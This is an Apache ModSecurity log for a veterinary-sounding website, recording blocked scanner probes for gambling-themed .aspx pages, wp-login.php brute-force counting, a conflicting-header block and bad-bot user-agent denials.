[Sat Feb 21 08:08:33.457473 2026] [:error] [pid 40758:tid 40843] [client 147.135.213.107:38762] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aZj3gUBAHxvBM3i9iKHT-AAAAJU"]
[Sat Feb 21 08:08:35.970619 2026] [:error] [pid 40757:tid 40816] [client 147.135.213.107:38768] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aZj3g6g_MKVL7zhH7dxhbwAAAFU"]
[Sat Feb 21 08:08:38.485704 2026] [:error] [pid 22558:tid 22570] [client 147.135.213.107:38782] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aZj3hirVaIb2gXsVbDprWAAAAQo"]
[Sat Feb 21 08:08:40.986945 2026] [:error] [pid 40871:tid 40895] [client 147.135.213.107:38788] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aZj3iDqDikjdiOZeJyX7-QAAANY"]
[Sat Feb 21 08:08:43.485198 2026] [:error] [pid 40871:tid 40876] [client 147.135.213.107:53924] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aZj3izqDikjdiOZeJyX8CAAAAMM"]
[Sat Feb 21 08:15:26.150219 2026] [:error] [pid 40758:tid 40836] [client 142.132.158.170:54138] [client 142.132.158.170] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 142.132.158.170, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZj5HkBAHxvBM3i9iKHW3QAAAI4"]
[Sat Feb 21 08:59:24.299384 2026] [:error] [pid 40756:tid 40771] [client 178.62.28.91:57366] [client 178.62.28.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.62.28.91, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZkDbANlDP60sLYgqXIa6gAAAAU"]
[Sat Feb 21 09:56:11.219386 2026] [:error] [pid 40758:tid 40823] [client 66.42.61.4:56646] [client 66.42.61.4] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.42.61.4, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZkQu0BAHxvBM3i9iKHzkAAAAIE"]
[Sat Feb 21 10:02:48.430279 2026] [:error] [pid 40758:tid 40822] [client 211.21.61.225:53360] [client 211.21.61.225] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 211.21.61.225, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZkSSEBAHxvBM3i9iKH0xwAAAIA"]
[Sat Feb 21 10:34:54.776612 2026] [:error] [pid 11743:tid 11746] [client 43.157.179.227:50790] [client 43.157.179.227] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aZkZzgALoZZjiTbGvqWh5AAAAUE"]
[Sat Feb 21 11:31:10.160249 2026] [:error] [pid 11941:tid 11960] [client 85.203.23.147:25689] [client 85.203.23.147] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aZkm_nTUkHs3EVWllKktyQAAAZE"]
[Sat Feb 21 11:31:10.519051 2026] [:error] [pid 11743:tid 11762] [client 85.203.23.116:46485] [client 85.203.23.116] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aZkm_gALoZZjiTbGvqWx_QAAAVE"]
[Sat Feb 21 11:42:58.285502 2026] [:error] [pid 40756:tid 40769] [client 157.245.154.48:51294] [client 157.245.154.48] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.245.154.48, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZkpwgNlDP60sLYgqXJYPgAAAAM"]
[Sat Feb 21 13:20:02.945296 2026] [:error] [pid 11743:tid 11745] [client 217.182.195.179:39728] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aZlAggALoZZjiTbGvqXO_gAAAUA"]
[Sat Feb 21 13:20:05.597956 2026] [:error] [pid 22558:tid 22563] [client 217.182.195.179:53950] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aZlAhSrVaIb2gXsVbDqz9AAAAQM"]
[Sat Feb 21 13:20:08.093669 2026] [:error] [pid 40758:tid 40843] [client 217.182.195.179:53968] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aZlAiEBAHxvBM3i9iKEmlQAAAJU"]
[Sat Feb 21 13:20:10.655650 2026] [:error] [pid 11941:tid 11952] [client 217.182.195.179:36670] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aZlAinTUkHs3EVWllKlFtQAAAYk"]
[Sat Feb 21 13:20:13.331383 2026] [:error] [pid 22558:tid 22567] [client 217.182.195.179:36686] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aZlAjSrVaIb2gXsVbDqz9wAAAQc"]
[Sat Feb 21 13:20:15.966774 2026] [:error] [pid 40871:tid 40888] [client 217.182.195.179:36702] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aZlAjzqDikjdiOZeJyVH1wAAAM8"]
[Sat Feb 21 13:20:18.452899 2026] [:error] [pid 22558:tid 22579] [client 217.182.195.179:36714] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aZlAkirVaIb2gXsVbDqz_AAAARM"]
[Sat Feb 21 13:20:20.851971 2026] [:error] [pid 40756:tid 40770] [client 217.182.195.179:47590] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aZlAlANlDP60sLYgqXJ1tgAAAAQ"]
[Sat Feb 21 13:20:23.245616 2026] [:error] [pid 40756:tid 40769] [client 217.182.195.179:47604] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aZlAlwNlDP60sLYgqXJ1uQAAAAM"]
[Sat Feb 21 13:20:25.751821 2026] [:error] [pid 22558:tid 22570] [client 217.182.195.179:47610] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aZlAmSrVaIb2gXsVbDq0CAAAAQo"]
[Sat Feb 21 13:20:28.148899 2026] [:error] [pid 11941:tid 11955] [client 217.182.195.179:47612] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aZlAnHTUkHs3EVWllKlFygAAAYw"]
[Sat Feb 21 13:20:30.568477 2026] [:error] [pid 11743:tid 11761] [client 217.182.195.179:38106] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aZlAngALoZZjiTbGvqXPGQAAAVA"]
[Sat Feb 21 13:20:32.929682 2026] [:error] [pid 22558:tid 22573] [client 217.182.195.179:38120] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aZlAoCrVaIb2gXsVbDq0IQAAAQ0"]
[Sat Feb 21 13:20:35.339070 2026] [:error] [pid 40757:tid 40819] [client 217.182.195.179:38136] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aZlAo6g_MKVL7zhH7dzLjAAAAFg"]
[Sat Feb 21 13:20:37.863452 2026] [:error] [pid 40871:tid 40892] [client 217.182.195.179:38152] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aZlApTqDikjdiOZeJyVH7wAAANM"]
[Sat Feb 21 13:20:40.300174 2026] [:error] [pid 40756:tid 40771] [client 217.182.195.179:42418] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aZlAqANlDP60sLYgqXJ16gAAAAU"]
[Sat Feb 21 13:20:42.898840 2026] [:error] [pid 40758:tid 40845] [client 217.182.195.179:42444] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aZlAqkBAHxvBM3i9iKEmsAAAAJc"]
[Sat Feb 21 13:20:45.402894 2026] [:error] [pid 11743:tid 11757] [client 217.182.195.179:42460] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aZlArQALoZZjiTbGvqXPKQAAAUw"]
[Sat Feb 21 13:20:47.834331 2026] [:error] [pid 40871:tid 40877] [client 217.182.195.179:42466] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aZlArzqDikjdiOZeJyVH9QAAAMQ"]
[Sat Feb 21 13:20:50.245136 2026] [:error] [pid 40757:tid 40812] [client 217.182.195.179:47114] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aZlAsqg_MKVL7zhH7dzLqQAAAFE"]
[Sat Feb 21 13:20:52.784501 2026] [:error] [pid 40871:tid 40889] [client 217.182.195.179:47116] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aZlAtDqDikjdiOZeJyVH-wAAANA"]
[Sat Feb 21 13:20:55.145300 2026] [:error] [pid 40871:tid 40897] [client 217.182.195.179:47140] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aZlAtzqDikjdiOZeJyVH_gAAANg"]
[Sat Feb 21 13:20:57.650877 2026] [:error] [pid 40756:tid 40774] [client 217.182.195.179:47150] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aZlAuQNlDP60sLYgqXJ2AwAAAAg"]
[Sat Feb 21 13:21:23.844136 2026] [:error] [pid 40757:tid 40806] [client 217.182.195.179:48624] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aZlA06g_MKVL7zhH7dzL2AAAAEs"]
[Sat Feb 21 13:21:26.321930 2026] [:error] [pid 11941:tid 11955] [client 217.182.195.179:40104] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "aZlA1nTUkHs3EVWllKlGIwAAAYw"]
[Sat Feb 21 13:21:28.694108 2026] [:error] [pid 40871:tid 40877] [client 217.182.195.179:38286] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aZlA2DqDikjdiOZeJyVIHQAAAMQ"]
[Sat Feb 21 13:21:31.099366 2026] [:error] [pid 11743:tid 11767] [client 217.182.195.179:38288] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aZlA2wALoZZjiTbGvqXPVAAAAVY"]
[Sat Feb 21 13:21:33.618730 2026] [:error] [pid 40757:tid 40808] [client 217.182.195.179:38300] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aZlA3ag_MKVL7zhH7dzL6QAAAE0"]
[Sat Feb 21 13:21:35.989436 2026] [:error] [pid 22558:tid 22565] [client 217.182.195.179:38316] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aZlA3yrVaIb2gXsVbDq0SgAAAQU"]
[Sat Feb 21 13:21:38.522941 2026] [:error] [pid 22558:tid 22566] [client 217.182.195.179:38330] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aZlA4irVaIb2gXsVbDq0TgAAAQY"]
[Sat Feb 21 13:21:41.028631 2026] [:error] [pid 11743:tid 11765] [client 217.182.195.179:53114] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aZlA5QALoZZjiTbGvqXPWQAAAVQ"]
[Sat Feb 21 13:21:43.537069 2026] [:error] [pid 40871:tid 40884] [client 217.182.195.179:53140] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aZlA5zqDikjdiOZeJyVILQAAAMs"]
[Sat Feb 21 13:21:46.032309 2026] [:error] [pid 40758:tid 40841] [client 217.182.195.179:53168] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aZlA6kBAHxvBM3i9iKEm7QAAAJM"]
[Sat Feb 21 13:21:48.553280 2026] [:error] [pid 40757:tid 40810] [client 217.182.195.179:53180] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aZlA7Kg_MKVL7zhH7dzL_gAAAE8"]
[Sat Feb 21 13:21:50.927799 2026] [:error] [pid 11941:tid 11960] [client 217.182.195.179:48410] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aZlA7nTUkHs3EVWllKlGQAAAAZE"]
[Sat Feb 21 13:21:53.418891 2026] [:error] [pid 40756:tid 40771] [client 217.182.195.179:48426] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aZlA8QNlDP60sLYgqXJ2cwAAAAU"]
[Sat Feb 21 13:21:55.924606 2026] [:error] [pid 40758:tid 40822] [client 217.182.195.179:48432] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aZlA80BAHxvBM3i9iKEm_QAAAIA"]
[Sat Feb 21 13:21:58.425025 2026] [:error] [pid 40871:tid 40879] [client 217.182.195.179:48448] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aZlA9jqDikjdiOZeJyVIPgAAAMY"]
[Sat Feb 21 13:22:00.928064 2026] [:error] [pid 40871:tid 40885] [client 217.182.195.179:51596] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aZlA-DqDikjdiOZeJyVIQAAAAMw"]
[Sat Feb 21 13:22:03.439034 2026] [:error] [pid 11941:tid 11950] [client 217.182.195.179:51606] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aZlA-3TUkHs3EVWllKlGUAAAAYc"]
[Sat Feb 21 13:22:05.939806 2026] [:error] [pid 40756:tid 40789] [client 217.182.195.179:51610] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aZlA_QNlDP60sLYgqXJ2fwAAABc"]
[Sat Feb 21 13:22:08.469355 2026] [:error] [pid 40758:tid 40838] [client 217.182.195.179:51614] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aZlBAEBAHxvBM3i9iKEnDwAAAJA"]
